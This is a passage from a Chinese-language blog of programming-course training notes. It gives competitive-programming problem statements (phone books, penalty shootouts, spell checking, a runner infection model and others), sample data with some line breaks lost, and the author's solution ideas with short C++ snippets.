4ivan 3 123 123 456ivan 2 456 456ivan 8 789 3 23 6 56 9 89 2dasha 2 23 789

样例输出

2dasha 2 23 789ivan 4 2 123 456 789

解题思路

定义一个结构体，内含名字、此人的电话数目和一个电话号码数组（字符串类型）。

注意人名有重复，同样的人名要加到一起去；电话号码有后缀情况，要逐个比对，可以考虑善用substr函数。

然后是两层排序，人名和电话号码的排序。注意电话号码不能简单使用std::string重载运算符，短的电话号码被看作小的。

注意所有（最多20）个人名实际上可以都是一个人，再加上每个人名条目都最多10个号码，要过CodeForces的样例，需要把电话号码的数组开大点，不过CG上的样例非常宽松。

5. 点球大战

个人难度评级：1

问题描述

在足球比赛中，有不少赛事，例如世界杯淘汰赛和欧洲冠军联赛淘汰赛中，当比赛双方经过正规比赛和加时赛之后仍然不分胜负时，需要进行点球大战来决定谁能够获得最终的胜利。点球大战的规则非常简单，两方轮流派出球员罚点球，每方各罚5个。当5轮点球结束以后如果仍然不分胜负，则进入一轮定胜负的阶段。两方各派一名球员罚点球，直到有一方罚进而另一方没有进为止。

在北美职业冰球联赛中，也有点球大战。与足球的规则不同的是，它只先罚3轮点球，随后就进入一轮定胜负的阶段，而其他的规则完全一样。

在本题中，输入将给出每次点球是否罚进，而你的任务则是输出一个 “比分板”。

输入形式

输入包含多组数据。每组数据的第一行包含一个整数N(1<=N<=18)，表示双方总共罚了多少个点球，N=0表示输入结束。随后有N行，每行是一个如下形式的字符串：

XXXX good：表示这个点球罚进

或者XXXX no good：表示这个点球没有罚进

其中XXXX表示球员名字（全部由字母和空格组成，保证不会出现歧义）

每一行保证不超过100个字符。

XXXX和good以及XXXX和no、no和good之间保证有且只有1个空格。

good、no good都是小写。本题是大小写相关的。

数据不保证点球大战一定结束，也不保证在结束以后立即结束这组数据（即：不用判断点球大战是否结束，只用把罚进的点球往比分上加即可）。

输出形式

对每组数据，输出一个比分板。一个点球如果罚进，则在对应的地方标上’O’，如果没有进则标上’X’。先罚球的队伍的信息在上面，后罚的在下面。最右边标上两队的比分。具体格式参考样例输出。注意如果一轮点球只罚了一个，则后面那个点球对应的地方写上’-’。

样例输入

6Riise goodBallack goodGerrard no goodLampard no goodFernando Torres goodMalouda good9Christiano Ronaldo no goodMessi no goodGiggs goodAbidal no goodCarrick goodRonaldinho goodRooney goodHenry no goodTevez good0

样例输出

1 2 3 ScoreO X O 2O X O 21 2 3 4 5 ScoreX O O O O 4X X O X - 1

解题思路

如果你知道了string的find函数，那么这个题非常简单，我觉得不需要说思路。

6. 飞行棋

来源：HDU 2240（很可能无法访问）

个人难度评级：2

问题描述

大家当年一定都下过飞行棋吧。现在Lele和Yueyue要下的棋和这个很相似，只是更简单一点而已。

棋盘由N个格子组成，分别标记为第0格到第N-1格。格子分为两种，一种是普通格子，即表示在该格可以停留。否则是特殊的格子，一旦走到上面，就要根据上面标记的数飞到相应的格子上。如果飞到一个特殊的格子上，则可以继续飞。

除了第0格外，其他格子都只能容纳一个玩家。即一旦A玩家已经在某个格子上，B玩家又走到这里，A玩家则会被踢回第0格，而B玩家留在这个格子上面。

第N-1个格子是终点，一旦一个玩家走到这个格子上，该玩家获胜，游戏结束。

刚刚开始时，两个玩家都站在第0格上，依次扔骰子，根据骰子显示的点数走相应的格子数。比如，玩家在第0格，扔出了5点，则会走到第5个格子上。如果玩家走得超出了棋盘的范围，则要往回走一定的步数。比如，棋盘一共有7(0~6) 个格子, 玩家在第4格上，扔出了6点，最终他会走到第2格上 (4->5->6->5->4->3->2)。

根据观察，骰子扔出来的数也是有规律的。
对于每一盘棋，扔出的第一个点数为F0=(A*C+B)%6+1, 第二个点数为F1=(A*F0+B)%6+1, 第三个点数为F2=(A*F1+B)%6+1 …. 依此类推。

每一盘棋都是由Lele先走，现在就请你当裁判，看谁能获胜。

输入形式

      本题目包含多组测试，请处理到文件结束。
      每组数据占两行。
      第一行有4个整数N,A,B,C(含义见题目描述，6<N<200,0<=A,B,C<=2^31)。
      第二行有N个字符串，分别表示棋盘上第0个到第N-1个格子的内容。两个字符串之间用一个空格分隔开。

如果字符串为 “N”, 则表示这个格子为普通格子。否则字符串为 “GX”(X为0到N-1之间的整数) 的形式，其中X表示玩家走到这个格子时，要马上飞到第X个格子。
数据保证第0个和第N-1个格子一定为 “N”。

输出形式

对于每组数据，在一行内输出结果。
如果Lele能赢这盘棋，则输出 “Lele”, 如果Yueyue赢的话，就输出 “Yueyue”。

样例输入

7 1 0 6N G3 N N N N N7 1 0 6N G4 N N N N N

样例输出

LeleYueyue

样例说明

测试用例保证能有确定结果。

解题思路

模拟就完事了，模拟每一步的走法即可。原题是有是否进行不完的判断的，如果有余力可以思考一下。

7. 棋盘

问题描述

棋盘是指一个行和列编号从1~N的NxN的二进制矩阵，当行号和列号之和为偶数时该矩阵对应位置为黑色的 (1)，否则为白色的 (0)。以下图（没了）示为N=1、2、3时的棋盘。

給出一个NxN的二进制矩阵，请找出位于该矩阵内的最大尺寸的完整棋盘，以及最大尺寸棋盘的数量（棋盘可以交叠）。

输入形式

每个测试用例的第一行是一个正整数N(1<=N<=2000)，表示給定矩阵的行数和列数，接下来的N行描述了这个矩阵：每行有N个字符，既可以是 “1”（代表黑块），也可以是“0”（代表白块）。矩阵至少包含一个“1” 字符。

输出形式

输出最大尺寸棋盘的行列的大小，以及最大棋盘的个数，以空格分隔。

样例输入

50010111010001010101011101

样例输出

3 3

解题思路

棋盘用bool二维数组存储即可，反正只有0和1两种值。

枚举棋盘左上角起始点，不是黑的直接跳过。对于黑，先得出一个边长上限，就是起始点距离右边和下边的距离最小值。然后枚举边长，大可以先从2开始，毕竟起始点本身是黑的就一定是个棋盘。由于每次增加边长，相比上一个边长增加的只有最右边和最下边一条，所以在上个边长能够成立的情况下，只需要检查新增加的两条边是否合理即可；相反，不能成立的话，直接break即可，边长小的都不成立那大的更不行了。

验证颜色是否正确的时候，需要注意 “当行号和列号之和为偶数时 “中求和时，以 ** 验证中的棋盘起始点 ** 作为原点，而真正使用的坐标是以 ** 整个大棋盘的 (0,0)** 作为原点。看不懂的话，建议直接去翻我代码……

8 .Engine

来源：HDU 2532（若无法访问，可以看 Vjudge）

个人难度评级：3

问题描述

谷歌、百度等搜索引擎已经成为了互连网中不可或缺的一部分。在本题中，你的任务也是设计一个搜索论文的搜索引擎，当然，本题的要求比起实际的需求要少了许多。
本题的输入将首先给出一系列的论文，对于每篇论文首先给出标题，然后给出它被引用的次数。然后会有一系列的搜索询问，询问标题中包含特定关键词的论文有哪些。
每一个询问可能包含多个关键词，你需要找出标题包含所有关键词的论文。
“包含” 必须是标题中有一个词正好是给定的关键词，不区分大小写。
对每个询问，都按被引用的次数从多到少输出满足条件的论文的标题。如果有被引用的次数相同的论文，则按照论文在输入中的顺序排列，先给出的论文排在前面。

输入形式

输入包含多组数据。
每组数据首先有一行包含一个整数N(1<=N<=1000)，表示论文的数目，N=0表示输入结束。每组论文的信息第一行是论文的标题，由字母（大小写均可）和空格组成，不超过10个词，每个词不超过20个字符，标题总共不超过250个字符。第二行是一个整数K(0<=K<=108)，表示它被引用的次数。在论文信息结束以后，有一行包含一个整数M(1<=M<=100)，表示询问的数目。接下来有M行，每行是一个询问，由L(1<=L<=10) 个空格分开的词构成，每个词不超过20个字符。

输出形式

对每个询问，按照题目给定的顺序输出满足条件的论文的标题；如果没有满足条件的论文，就不输出。在每组询问的输出之后输出一行 “***”，在每组数据的输出之后输出一行 “—”。

样例输入1

6Finding the Shortest Path120Finding the k Shortest Path80Find Augmenting Path in General Graph80Matching in Bipartite Graph200Finding kth Shortest Path50Graph Theory and its Applications406shortest pathk shortest pathgraphpathfindapplication0

样例输出1

Finding the Shortest Path
Finding the k Shortest Path
Finding kth Shortest Path
***
Finding the k Shortest Path
***
Matching in Bipartite Graph
Find Augmenting Path in General Graph
Graph Theory and its Applications
***
Finding the Shortest Path
Finding the k Shortest Path
Find Augmenting Path in General Graph
Finding kth Shortest Path
***
Find Augmenting Path in General Graph
***
***
---

样例输入2

1
Finding the Shortest Path
120
2
Path

Pat
0

样例输出2

Finding the Shortest Path
***
***
---

解题思路

首先要说明的是，样例2原题里是没有的，而个人认为中间的空行是多余的，删掉之后才能得到期望输出。

这题就是个大模拟，思路其实不是很难找，但是要写好还是很费精力和时间的。

我定义了一个paper类，包含名字、关键词数组、关键词个数和引用次数，还包含一个成员函数，负责将名字转换成关键字。所有的这些都是public。分隔符是空格，那么使用字符串流来转换很方便，只需要调用自行实现的全部转小写的函数将名字转换后推入流，再一个个推出即可。

比对关键字的时候，查找的关键字要全部在某一文献的关键字列表里，才能算找到了合适的结果，不能够使用string的find() 成员函数查找子串。

将论文全部输入之后直接使用stable_sort和自定义比较函数排序，就不需要找到符合条件的论文之后存储起来再排序了。

此题数据特别多，要格外注意各数据的初始化问题！

9. 字符串压缩

来源：Codeforces 1120C

个人难度评级：6

问题描述

给定一个由n个小写字母组成的字符串s，需要使用最少数量的钱币来压缩它。

压缩该字符串，必须将s表示为多个相互连接的非空字符串: s=t1t2…tk，其中第i个字符串按照下列两种方法之一编码：

如果 | ti|=1，也就是说 ti为单个字符组成的字符串，编码时需要支付a个钱币
如果ti是t1t2…ti-1的子串，编码时需要支付b个钱币

你的任务是计算压缩给定的字符串需要花费的最小钱币数。

输入形式

输入的第一行包含3个用空格分隔的正整数：n、a和b(1≤n、a、b≤5000)，第二行为一个长度为n的小写字符串。

输出形式

输出一个整数，表示你需要为压缩s所需要支付的最小钱币数。

样例输入1

3 3 1
aba

样例输出1

样例输入2

4 1 1
abcd

样例输出2

样例输入3

4 10 1
aaaa

样例输出3

解题思路

不会，DP题谁会做谁做去。

10. 拼写检查

来源：POJ 1035

个人难度评级：2

问题描述

       作为一个新的拼写检查程序开发团队的成员，您将编写一个模块，用已知的所有形式正确的词典来检查给定单词的正确性。
       如果字典中没有这个词，那么可以用下列操作中的一个来替换正确的单词（从字典中）：
       1. 从单词中删除一个字母；
       2. 用一个任意字母替换单词中的一个字母；
       3. 在单词中插入一个任意字母。
       你的任务是编写一个程序，为每个给定的单词找到字典中所有可能的替换。

输入形式

输入的第一部分包含所有字典中的词，每个单词占用一行，以一个单一字符 “#” 作为结束。所有单词都不相同，字典中至多1000个单词。

接下来的部分包含所有需要进行检查的单词，同样每个单词占用一行。这部分也以一个单一字符 “#” 作为结束。至多有50个单词需要检查。

在输入中所有的单词（字典中的和需要检查的）都仅由小写字母组成，每个最多包含15个字符。

输出形式

对于每个在输入中出现的单词，按照它们在输入的第二部分出现的顺序输出一行。如果该单词是正确的（也就是说它包含在字典中）则输出信息：“is correct”；如果该单词不正确，则首先输出该单词，然后输入符号 ‘:’（冒号），之后空一格，写出它所有可能的替代，以空格分隔。这些替代的单词按照它们在字典中（输入的第一部分）出现的顺序写出。如果没有可替代的单词，则在冒号后面直接输出换行。

样例输入

iishashavebemymorecontestmetooifaward#meawaremcontesthavooorifimre#

样例输出

me is correctaware: awardm: i my mecontest is correcthav: has haveoo: tooor:i is correctfi: imre: more me

解题思路

先把字典中的词语存到数组里，然后再逐个询问比对即可。难点在于删除和增加字母的检查。增删字母的判断函数可以共用，只需将函数的两个参数对调即可。修改的要求是长度相同，而增删的长度差只能为1。

11. 最小的k个数

个人难度评级：1

问题描述

输入n个整数，找出其中最小的k（k<=n）个不同数。例如输入4,5,1,6,1,7,3,8这8个数字，则最小的4个数字是1,3,4,5。

输入形式

每个测试案例包括2行：

第一行为2个整数n，k(1<=n，k<=200000)，表示数组的长度。

第二行包含n个整数，表示这n个数，数组中的数的范围是 [0,1000 000 000]。

输出形式

对应每个测试案例，输出最小的k个数，并按从小到大顺序打印 (如果不存在k个不同的数，则按照实际数量进行输出)。

样例输入

8 4
4 5 1 6 2 7 3 8

样例输出

1 2 3 4

训练提示

1、数的范围从0到1000000000，使用数组记录那些数出现过就不是太合适

2、需要去除重复的数，需要从小到大排序 —-set就是一个不错的选择

解题思路

没必要专门去重，更没必要用什么set，直接存数组sort一遍过。只需要检查上一个数是否与要输出的数相等，相等即跳过，就顺便完成了去重。

12. 绩点计算

个人难度评级：1

问题描述

学校对本科生的成绩施行绩点制（GPA）。将学生的实际考分根据不同学科的不同学分按一定的公式进行计算。规定如下：

实际成绩绩点

90-100 4.0

85-89 3.7

82-84 3.3

78-81 3.0

75-77 2.7

72-74 2.3

68-71 2.0

64-67 1.5

60-63 1.0

60以下 0

1. 一门课程的学分绩点 = 该课绩点 * 该课学分

2. 总评绩点 = 所有学科绩点之和 / 所有课程学分之和

现要求你编程求出某人的总评绩点 (GPA)

输入形式

第一行总的课程数n

第二行相应课程的学分（两个学分间用空格隔开）

第三行对应课程的实际得分

此处输入的所有数字均为整数

输出形式

输出有一行，总评绩点，保留两位小数

样例输入

5
4 3 4 2 3
91 88 72 69 56

样例输出

2.52

解题思路

不讲了，太简单。

要是得绩点也能像这道题这么简单就好了。

13. xxx定律

个人难度评级：1

问题描述

对于一个正整数n，如果是偶数，就把n砍掉一半；如果是奇数，把n变成3*n+ 1后砍掉一半，直到该数变为1为止。
请计算需要经过几步才能将n变到1，具体可见样例。

输入形式

测试包含多个用例，每个用例包含一个整数n, 当n为0时表示输入结束。（1<=n<=10000）

输出形式

对于每组测试用例请输出一个数，表示需要经过的步数, 每组输出占一行。

样例输入

3
2
0

样例输出

5
1

解题思路

太水了…… 这题我连打表都懒得打。

14. 数的距离差

个人难度评级：1

问题描述

给定一组正整数，其中最大值和最小值分别为Max和Min, 其中一个数x到Max和Min的距离差定义为：

$ | | x-Max | -(x-Min) | $

其中abs() 为求一个数的绝对值

输入形式

包括两行，第一行一个数n，表示第二行有n个正整数

输出形式

输出一个数x，该数在所有n个数中的距离差最小；如果有两个数的距离差都是最小，输出较小的哪个

样例输入1

5
3 1 7 5 9

样例输出1

样例输入2

3
1 3 2

样例输出2

解题思路

没啥难的，录进来sort一遍，逐个算距离差再比较即可。

有一个不成熟的猜想：距离差最小的，并不是中位数，而是与绝对值相差最小的数。

15. 亲和数

来源：HDU 2040（无法访问请看 Vjudge 或者Wayback Machine）

个人难度评级：1

问题描述

古希腊数学家毕达哥拉斯在自然数研究中发现，220的所有真约数 (即不是自身的约数) 之和为：

$ 1+2+4+5+10+11+20+22+44+55+110＝284 $

而284的所有真约数为1、2、4、71、142，加起来恰好为220。人们对这样的数感到很惊奇，并称之为亲和数。一般地讲，如果两个数中任何一个数都是另一个数的真约数之和，则这两个数就是亲和数。
你的任务就编写一个程序，判断给定的两个数是否是亲和数。

输入形式

输入若干行数据（大于0），每行一个实例, 包含两个整数A,B；其中0 <= A,B <= 600000 ;

输出形式

对于每个测试实例，如果A和B是亲和数的话输出YES，否则输出NO

样例输入

220 284
100 200

样例输出

YES
NO

解题思路

没啥难的，不说了

16. 金币

来源：NOIP 2015 普及组第一题（数据已加强）（卧槽竟然是NOIP的题…… 要不是当年我做过我还真想不到）

个人难度评级：2

问题描述

国王为他的忠诚的骑士支付金币。在他服役的第一天，骑士收到一枚金币。在接下来2天（第二天和第三天的服务），骑士每天收到2金币。在未来三天（第五，第四，和第六天的服务），骑士每天收到三金币。在未来四天（第七，第八，第九，和第十天的服务），骑士每天收到四金币。这一模式的付款方式将继续下去：在接下来的n天骑士每天将收到n枚金币，而在接接下来的n+1天每天将收到n+1枚金币，这里n是正整数。你的程序将确定在任何给定的天数（从第1天开始）支付给骑士的金币总数。

输入形式

输入包含至少一行，但不超过21行。输入的每一行包含一个测试案例的数据，即一个整数（1~10000），代表天数。

输出形式

每一行输出对应一个测试用例，由天数和支付给骑士的金币总数量组成，中间用空格分隔。

样例输入

样例输出

10 30
6 14
10000 942820
1000 29820
21 91
22 98

解题思路

就是个模拟题，按照题意模拟下去即可，不需要花里胡哨的方法即可解决。

17. 小A的计算器

个人难度评级：1

问题描述

以往的操作系统内部的数据表示都是二进制方式，小A新写了一个操作系统，系统内部的数据表示为26进制，其中0-25分别由a-z表示。
现在小A要在这个操作系统上实现一个计算器，这个计算器要能实现26进制数的加法运算。你能帮小A实现这个计算器吗？

输入形式

输入的第一行包括一个整数N(1<=N<=100)。
接下来的N行每行包括两个26进制数x和y，它们之间用空格隔开，每个数的位数最多为10位, 我们可以保证相加的结果的位数最多也是10位。每个数会用小A所设计的操作系统中的表示方法来表示，如：bsadfasdf。即每个数的各个位均由26个小写字母a-z中的一个来表示。

输出形式

输出x和y相加后的结果，结果也要用题目中描述的26进制数来表示。

样例输入

4
ba cd
c b
b c
ba c

样例输出

dd
d
d
bc

解题思路

高精度加法 + 进制转换。

先用string输入，然后将 ** 每一位 ** 转换为十进制数之后倒序导入vector存储。位数不足的记得补0。设置一个进位的临时数组，然后按照竖式计算方法计算，之后再转换回26进制倒序导入string输出。

18. 小丑排序

来源：ACM/ICPC 2004（贝勒大学原题面存档）

个人难度评级：1

问题描述

你在信天翁马戏团（是的，它是由一群小丑组成）从事管理工作，你刚刚写完一个程序的输出是将他们的姓名按长度为非递减的方式排列，名称列表（使每名至少只要它之前的）。然而，你的老板不喜欢这种输出方式，而是希望输出出现更对称，较短的字符串在顶部和底部，而较长的字符串在中间。他的规则是，每一对名称都是在该列表的相对的两端，并且在该组中的第一个名字总是在列表的顶部。比如在下面的第一个例子中，Bo和Pat是第一对，Jean和Kevin是第二对，等等。

输入形式

输入由1到多个字符串集合组成，最后一行为0表示输入结束，每个集合开始于一个整数n，表示该集合字符串的个数，接下来n行由n个字符串按长度非递减的方式排列，每个集合至少包含一个但不超过15个字符串，每个字符串不超过25个字符。

输出形式

对于每个集合，第一行输出 “set-n”, n从1开始，接下来的若干行对应输入每个集合重新排列的结果，如样例所示。

样例输入

7
Bo
Pat
Jean
Kevin
Claude
William
Marybeth
6
Jim
Ben
Zoe
Joey
Frederick
Annabelle
5
John
Bill
Fran
Stan
Cece
0

样例输出

set-1
Bo
Jean
Claude
Marybeth
William
Kevin
Pat
set-2
Jim
Zoe
Frederick
Annabelle
Joey
Ben
set-3
John
Fran
Cece
Stan
Bill

解题思路

看不懂题面？哦上帝，这该死的翻译，我真想用隔壁约翰叔叔的靴子狠狠踢他的屁股！说真的，这直译还不如看英文原版。

这不是排序题，题目顺序已经排好了！只要隔一个压一个栈，剩下的原样输出即可。

19. 数圈

个人难度评级：1

问题描述

以1为中心，用2,3,4, …, n, …, n*n的数字围绕着中心输出数圈，如若n=4，则

7 8 9 10

6 1 2 11

5 4 3 12

16 15 14 13

输入形式

一个整数n(1<=n<=10)

输出形式

数圈矩阵

样例输入

样例输出

21 22 23 24 25
20 7 8 9 10
19 6 1 2 11
18 5 4 3 12
17 16 15 14 13

解题思路

打表专用题，这题打表不光评测的时候输出快，而且写代码也又快又省力，我觉得打表才是这题的正解（逃）。

每个n对应的圈，实际上都可以看作n=10的子圈，所以把n=10的情况打成表如下，然后再记录每个n要把哪一块切下来输出即可。附上完整数表：

int numCircle[10][10] = {
    {73, 74, 75, 76, 77, 78, 79, 80, 81, 82},
    {72, 43, 44, 45, 46, 47, 48, 49, 50, 83},
    {71, 42, 21, 22, 23, 24, 25, 26, 51, 84},
    {70, 41, 20, 7, 8, 9, 10, 27, 52, 85},
    {69, 40, 19, 6, 1, 2, 11, 28, 53, 86},
    {68, 39, 18, 5, 4, 3, 12, 29, 54, 87},
    {67, 38, 17, 16, 15, 14, 13, 30, 55, 88},
    {66, 37, 36, 35, 34, 33, 32, 31, 56, 89},
    {65, 64, 63, 62, 61, 60, 59, 58, 57, 90},
    {100, 99, 98, 97, 96, 95, 94, 93, 92, 91}};

20. 锤子剪刀布

个人难度评级：1

问题描述

大家应该都会玩 “锤子剪刀布” 的游戏。现给出两人的交锋记录，请统计双方的胜、平、负次数，并且给出双方分别出什么手势的胜算最大。

输入形式

输入第1行给出正整数N（<=105），即双方交锋的次数。随后N行，每行给出一次交锋的信息，即甲、乙双方同时给出的的手势。C代表 “锤子”、J代表 “剪刀”、B代表 “布”，第1个字母代表甲方，第2个代表乙方，中间有1个空格。

输出形式

输出第1、2行分别给出甲、乙的胜、平、负次数，数字间以1个空格分隔。第3行给出两个字母，分别代表甲、乙获胜次数最多的手势，中间有1个空格。如果解不唯一，则输出按字母序最小的解。

样例输入

10
C J
J B
C B
B B
B C
C C
C B
J B
B C
J J

样例输出

5 3 2
2 3 5
B B

解题思路

这种水题挺讨厌的，完全没难度，但很占用时间（我写了1.7KiB，有这时间干啥不好？）。

21. 新型冠状病毒（COVID19）传播

个人难度评级：4

问题描述

在以习近平同志为核心的党中央的正确领导下，我国新冠疫情得到了有效控制。防控新冠病毒，必须时刻引起大家的足够重视，特别是人员集中活动场所，保持好社交距离。

然而，在大洋彼岸的 $M$ 国，人们对COVID19并未引起足够重视，他们的领导人川建国同志甚至对居家隔离、戴口罩以及保持社交距离等措施非常不屑，该国疫情已经完全失控。

在一个风景秀丽的小镇，一天早上，有 $N$ 名晨跑爱好者（编号 $1-N$）沿着优雅的江边景观道朝同一方向进行晨跑，第 $i$ 名跑者从位置 $S_i$ 处起跑，且其速度为 $V_i$。换句话说，对所有的实数 $t \ge 0$，在时刻 $t$ 时第 $i$ 名跑者的位置为 $S_i+V_i \cdot t$。

很不幸的是，其中一名跑者在 $t=0$ 的时刻感染了病毒，且是无症状感染者，这种病毒只会在同一时刻处在同一位置的跑者之间传播，新感染了病毒的跑者也会感染其他人，很显然，等待足够长的时间，那么病毒会感染一些特定的跑者。

事后发现其中有一名跑者感染了新冠病毒，如果此人就是在 $t=0$ 时刻的那名感染者，那么，在 $N$ 名晨跑爱好者中会有多少人感染新冠病毒？

输入形式

输入包含三行：

第一行包含为两个整数 $N$ 和 $K$，分别表示运动员的人数以及开始时感染了病毒的跑者编号。
第二行包含 $N$ 个正整数 $S_1$、$S_2$、…、$S_N$，用空格隔开，分别表示跑者的起始位置。
第三行包含 $N$ 个正整数 $V_1$、$V_2$、…、$V_N$，用空格隔开，分别表示跑者的速度。

输出形式

输出为一个整数，表示最终被感染人数。

样例输入

6 3
3 9 8 5 7 5
6 6 5 4 6 3

样例输出

评分标准

对于50% 的评测用例，$0 \lt K \le N \le 102$

对于70% 的评测用例，$0 \lt K \le N \le 104$

对于90% 的评测用例，$0 \lt K \le N \le 106$

对于100% 的评测用例，$0 \lt K \le N \le 107$

详细题解

这题似乎有点意思，是道自创题，值得好好说一说。不过由于本人数学过于弱鸡，这里并没有严格的数学证明。

起初的想法是，对于每一个人的行动路线，可以画出一条一次函数_yi=si+vi*t_。只要遍历一遍其他跑者，与被感染者直线在y轴右侧会相交（下文”相交 “均指y轴右侧）的，就是被感染的人，是一个O(n) 的算法。因为相遇距离设定可以是无限远，所以不能枚举距离模拟跑的过程。得了20分。

核心是用下面的函数判断两条直线是否相交，也就是是否会被感染。Pos 指的是初始位置，也就是y轴截距，而 Speed 代表速度，也就是斜率。

cpp

bool checkInfection(const int &sourcePos, const int &sourceSpeed, const int &targetPos, const int &targetSpeed)
{
    if ((sourcePos> targetPos && sourceSpeed <targetSpeed) || (sourcePos < targetPos && sourceSpeed> targetSpeed) || (sourcePos == targetPos))
    {
        return true;
    }
    else
    {
        return false;
    }
}

然后重新看题面，发现有一句话：新感染了病毒的跑者也会感染其他人。于是就想到一轮一轮感染，每轮都将每个没感染的人与每个已经感染的人对应的直线作比较，如果相交则将其加入已感染的集合；以此循环，直到某一轮没有人被传染。有Floyd-Warshall算法的感觉，是不是？看了眼数据范围，好家伙，107，我这O(n3) 的算法还是迟早歇着吧。不过粗略来看，应该能过50% N<=100的数据。

于是开始研究一层循环就能搞定的方法，将时间复杂度压缩到O(n)。我们刚刚提到，一个人的直线只要与感染者所在的直线相交，那么他肯定会被感染。那么，一个跑得快的感染者也可以感染遇到的跑得比香港记者还快更快的感染者，一个跑得慢的感染者也可以感染遇到的跑得更慢的感染者。最终，就体现在被感染的人中，有一个跑得最快的，和一个跑得最慢的，他们在_x-t_图上组成了类似于上界和下界的一个区域，如下图。

那两条蓝线代表了不断传染最快和最慢的人的过程，落实到程序上也就是维护两个speed和position的下标值，分别代表跑得最快和最慢的人，初始值均为0号患者（即初始被感染的人），如果有能和最快的人对应直线相交且speed更大的人，说明能够传染他，将值更新为这个人对应的下标值，正如图中上方曲线的两次弯折；对跑得最慢的人也是同样的处理办法。

发现什么了吗？这个上界和下界，就是会不会被传染的界限。不过，既然直线可以无限延伸，那么我们可以去掉中间逐渐感染的过程，直接感染最快和最慢的那两个人，就变成了这样：

前后两种方式，虽然过程不同，但感染的结果是等效的。代表最快最慢的直线，一定会与0号感染者直线相交，那么只需要一直选取和0号感染者直线相交，而且比最快更快 / 比最慢更慢的人来更新最快 / 最慢下标值即可，而不需要每次都比较”和最快直线相交 “且” 比最快更快 “，或者” 和最慢直线相交 “且” 比最慢更慢“，省下一次比较。

判断是否穿过这两条折线共三条直线，分两种情况：

第一种是判断是否与0号感染者的直线相交；
第二种是判断是否与后面2条直线相交。

满足一种就会被传染。我们刚刚需要一次循环来找最快最慢的跑者，判断这些直线是否与0号直线相交，那么对于相交的直线可以直接打上infected标记，顺便进行第一种情况判断，无需进行第二种判断（直接continue）。第二步的标准又可以转化为”不在上界直线的上方 “且” 不在下界直线的下方“，其中上方和下方指的是在y轴右侧，函数值永远更大 / 更小，自然也不会相交。

还记得刚刚那个判断函数吗？我将它改成了下面的样子：

cpp

int checkInfection(const int &sourcePos, const int &sourceSpeed, const int &targetPos, const int &targetSpeed) // 返回值：1 - 在上方 0 - 相交 -1 - 在下方
{
    if ((sourcePos> targetPos && sourceSpeed <targetSpeed) || (sourcePos < targetPos && sourceSpeed> targetSpeed) || (sourcePos == targetPos))
    {
        return 0;
    }
    if ((targetPos> sourcePos) && (targetSpeed>= sourceSpeed))
    {
        return 1;
    }
    return -1;
}

这样在一个函数里，可以一次判断target直线位于source直线上方、下方还是相交。关于它的理解，可以画个图。

然后统计被打上标记的人数量（可以合在第二种情况判断的函数一起完成），输出即可。

总共四次循环，都为1层，也就是O(n) 的复杂度，其中两层循环还是输入数据用的。

湖南大学 2021 程序设计训练笔记 - 作业训练 1

Mon, 05 Jul 2021 00:00:00 +0000

作业训练1

1. 众数

个人难度评级：1

问题描述

一组数据中出现最多的数，称为众数。比如

1 2 3 3

众数为3。一组数据中也可能有多个众数，以最先出现的作为众数。比如

2 2 3 3

众数为2。

问题是一组按升序排好的数据，指出它的众数。

输入形式

有多组测试数据（不超过100组测试数据）。

每组测试数据占两行，第一行是正整数N：表示这组测试数据中数据项数。

第二行是N个用空格隔开的正整数，表示这组测试数据的数据元素。每个数据元素都不大于10000。

N=0，表示输入结束，并且不需要处理。

40% 的测试数据N 1 ≤N≤ 10；

30% 的测试数据N 10 < N≤ 100；

20% 的测试数据N 100 < N≤ 1000；

10% 的测试数据N 1000 < N≤ 10000；

输出形式

对于每组测试数据，输出一行包含一个正整数：对应的众数。

样例输入

text

样例输出

text

1
2

3
2

解题思路

使用桶排序的思想，设一个数组，存储每个数的出现次数。再遍历这个数组，取最大值。

数据是按升序排好的，所以也许一遍循环能走完，而且能省下桶排的数组空间？

2. 错误的里程碑

个人难度评级：2

问题描述

三月八日，小明买了台新车。但很快小明发现汽车的里程表有问题：里程表上每一位都不显示数字3和数字8，也就是说直接从数字2跳到数字4，直接从数字7跳到数字9。小明纳闷：这车到底行驶里程是多少。

现在，小明向你求助：根据里程表显示的数字，给出真实的行驶里程。

输入形式

输入有多组测试数据。

输入第一行正整数T，表示有多少组测试数据。

后面有T行，每行一个非负整数，表示里程表显示数字，里面不含有数字3和8。该数字不超过10位。

40% 的测试数据组数T 10≤T≤ 102；

30% 的测试数据组数T 102≤T≤ 103；

20% 的测试数据组数T 103≤T≤ 104；

10% 的测试数据组数T 104≤T≤ 105；

输出形式

对于每组测试数据，输出一个整数占一行：真实的行程里程。

样例输入

text

样例输出

text

解题思路

实际上这是一个8进制里程表，因为只有0、1、2、4、5、6、7、9，也就相当于0、1、2、3、4、5、6、7。做一个八进制转十进制即可。可能需要使用long long类型。

3. 拳王阿里

此题有些问题，暂不处理。

4. 欧洲冠军联赛

个人难度评级：2

问题描述

欧洲冠军联赛常被誉为全世界最具影响力的俱乐部级赛事。在比赛的小组赛阶段，欧洲的各个足球俱乐部被分为八个小组，每个小组中四支球队。每个小组中的球队按照如下规则排序：

球队会根据比赛结果获得积分。一场比赛的双方被称为主队和客队。如果其中一方进球数多于另一方，那么进球较多的一方获得3分，另一方获得0分。如果双方打成平手，则各得1分。
球队的净胜球数是其进球数减去失球数（不考虑该球队在比赛中作为主队还是客队）。
积分较高的球队排名更加靠前。
如果两支球队积分相同，那么净胜球数较多的球队排名靠前。

小组的各队伍进行循环赛，即每两支球队之间进行两场比赛，双方交替作为主队。给定一个小组内12场比赛的结果，请求出小组的出线队伍：即排名第一和第二的两支球队。

保证答案唯一。

输入形式

输入的第一行包含一个整数T，代表测试数据的组数。接下来是T组数据。

每组数据共有12行，每行描述一场比赛，格式为：“主队队名主队进球数vs. 客队进球数客队队名”，其中 “主队队名” 和“客队队名”为字符串，“主队进球数”和 “客队进球数” 为两球队在本场比赛中各自的进球数量。

1 ≤ T ≤ 50
球队队名仅包含小写英文字母
球队队名长度不超过10个字符
0 ≤ 进球数 ≤ 100

输出形式

对于每组数据，输出一行，包含两个字符串，代表排名第一和第二的球队的队名。

样例输入

text

2
manutd 8 vs. 2 arsenal 
lyon 1 vs. 2 manutd 
fcbarca 0 vs. 0 lyon 
fcbarca 5 vs. 1 arsenal 
manutd 3 vs. 1 fcbarca 
arsenal 6 vs. 0 lyon 
arsenal 0 vs. 0 manutd 
manutd 4 vs. 2 lyon 
arsenal 2 vs. 2 fcbarca 
lyon 0 vs. 3 fcbarca 
lyon 1 vs. 0 arsenal
fcbarca 0 vs. 1 manutd
a 3 vs. 0 b 
a 0 vs. 0 c 
a 0 vs. 0 d 
b 0 vs. 0 a 
